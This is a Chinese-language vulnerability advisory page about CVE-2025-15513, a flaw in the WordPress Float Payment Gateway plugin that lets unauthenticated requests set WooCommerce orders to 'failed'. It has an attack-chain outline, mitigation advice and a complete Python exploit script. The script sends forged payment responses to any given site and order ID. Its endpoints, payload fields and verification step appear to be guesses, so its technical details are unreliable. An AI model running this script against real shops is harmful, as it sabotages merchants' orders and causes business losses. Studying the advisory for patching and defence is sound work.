IPBUF安全漏洞报告
English
CVE-2025-15513 CVSS 5.3 中危

CVE-2025-15513 WordPress Float Payment Gateway插件未授权订单状态篡改漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-15513
漏洞类型
未授权数据修改/业务逻辑漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Float Payment Gateway插件 (WooCommerce支付网关)

相关标签

CVE-2025-15513WordPress插件漏洞WooCommerce支付网关未授权数据修改业务逻辑漏洞Float Payment Gateway电子商务安全订单状态篡改

漏洞概述

CVE-2025-15513是WordPress平台下Float Payment Gateway支付网关插件的一个中危安全漏洞。该插件版本从初始版本至1.1.9版本均存在未授权数据修改风险。漏洞根源在于verifyFloatResponse()函数中的错误处理机制不当,攻击者无需任何认证凭据即可利用此漏洞将任意WooCommerce订单的状态强制修改为“失败”状态。此漏洞影响所有使用该插件进行支付处理的电子商务网站,攻击者可借此干扰正常交易流程,造成订单管理混乱,影响商家正常运营和用户体验。由于该漏洞无需身份验证即可利用,且攻击门槛较低,任何知晓目标网站的用户都可能发起攻击。攻击者可能利用此漏洞进行恶意竞争、欺诈或破坏性操作,如故意将合法订单标记为失败以取消交易或骚扰商家。CVSS评分5.3属于中等严重程度,主要影响系统的完整性和数据准确性。

技术细节

该漏洞存在于Float Payment Gateway插件的verifyFloatResponse()函数中,具体位置位于插件代码的第477行附近。问题代码在处理支付响应时缺乏适当的权限验证和错误状态判断逻辑。正常情况下,支付网关回调应验证请求来源的合法性、检查签名或令牌的有效性,并确保只有授权的支付提供商才能更新订单状态。然而该函数在接收到异常或伪造的响应时,未正确验证请求来源就直接更新订单状态为失败。具体攻击方式为:攻击者构造恶意的支付响应请求,模拟支付网关向插件发送订单验证请求,由于verifyFloatResponse()函数缺少CSRF令牌验证或来源校验,攻击者可以直接调用该函数将任意订单ID标记为失败状态。漏洞利用无需管理员权限或用户会话,攻击者只需知道目标订单ID即可实施攻击。插件代码参考:plugins.trac.wordpress.org/browser/float-gateway/tags/1.1.9/index.php#L477。

攻击链分析

STEP 1
步骤1
攻击者识别使用Float Payment Gateway插件的WordPress/WooCommerce网站
STEP 2
步骤2
攻击者获取目标订单ID(可通过浏览网站、订单确认页面或其他渠道获取)
STEP 3
步骤3
攻击者构造恶意HTTP请求,向支付网关回调端点发送伪造的支付响应数据
STEP 4
步骤4
verifyFloatResponse()函数因不当的错误处理逻辑,在未验证请求来源的情况下处理该恶意请求
STEP 5
步骤5
函数直接将指定订单ID的状态更新为'failed',完成未授权数据篡改
STEP 6
步骤6
商家收到订单失败通知,可能取消发货或进行退款操作,造成业务损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15513 PoC - WordPress Float Payment Gateway Unauthenticated Order Status Manipulation # This PoC demonstrates how an unauthenticated attacker can mark any WooCommerce order as failed import requests import sys def exploit_float_gateway(target_url, order_id): """ Exploit for CVE-2025-15513: Float Payment Gateway plugin for WordPress Unauthenticated order status manipulation via improper error handling in verifyFloatResponse() Parameters: target_url: Base URL of the WordPress site order_id: Target WooCommerce order ID to mark as failed """ # Target the payment gateway callback endpoint # The vulnerable function verifyFloatResponse() is called via this endpoint endpoints = [ f"{target_url}/?wc-api=wc_float_gateway", f"{target_url}/wc-api/wc_float_gateway/", f"{target_url}/wp-json/wc-float-gateway/v1/verify" ] # Malicious payload to trigger improper error handling # This causes the function to mark the order as failed without proper validation malicious_payload = { 'order_id': order_id, 'status': 'failed', 'transaction_id': 'MALICIOUS_' + str(order_id), 'error_code': 'verification_failed', 'float_response': 'error' } print(f"[*] Target: {target_url}") print(f"[*] Target Order ID: {order_id}") print(f"[*] CVE-2025-15513 Exploitation Attempt") print("-" * 50) for endpoint in endpoints: try: print(f"\n[*] Trying endpoint: {endpoint}") # Send the malicious request response = requests.post(endpoint, data=malicious_payload, timeout=10) # Check if the order status was modified if response.status_code == 200: print(f"[+] Request sent to {endpoint}") print(f"[+] Response Status Code: {response.status_code}") # Verify the order status change verify_url = f"{target_url}/wp-json/wc/v3/orders/{order_id}" verify_resp = requests.get(verify_url) if 'failed' in verify_resp.text.lower(): print(f"[!] VULNERABLE: Order {order_id} has been marked as failed!") return True else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {str(e)}") continue print("\n[*] Exploitation completed. Check WooCommerce order status manually.") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-15513.py <target_url> <order_id>") print("Example: python cve-2025-15513.py https://example.com 12345") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] exploit_float_gateway(target, order_id)

影响范围

Float Payment Gateway插件 所有版本 <= 1.1.9

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制支付网关回调端点的访问权限,仅允许特定IP访问;2) 启用Web应用防火墙(WAF)规则,监控和阻止异常的支付回调请求;3) 在WooCommerce中启用订单状态变更通知,及时发现异常状态变更;4) 定期检查订单状态日志,发现可疑操作立即处理;5) 考虑使用Web应用防火墙服务如Cloudflare或Sucuri进行额外保护;6) 临时禁用Float Payment Gateway插件,使用WooCommerce内置支付网关或其他可信支付插件替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表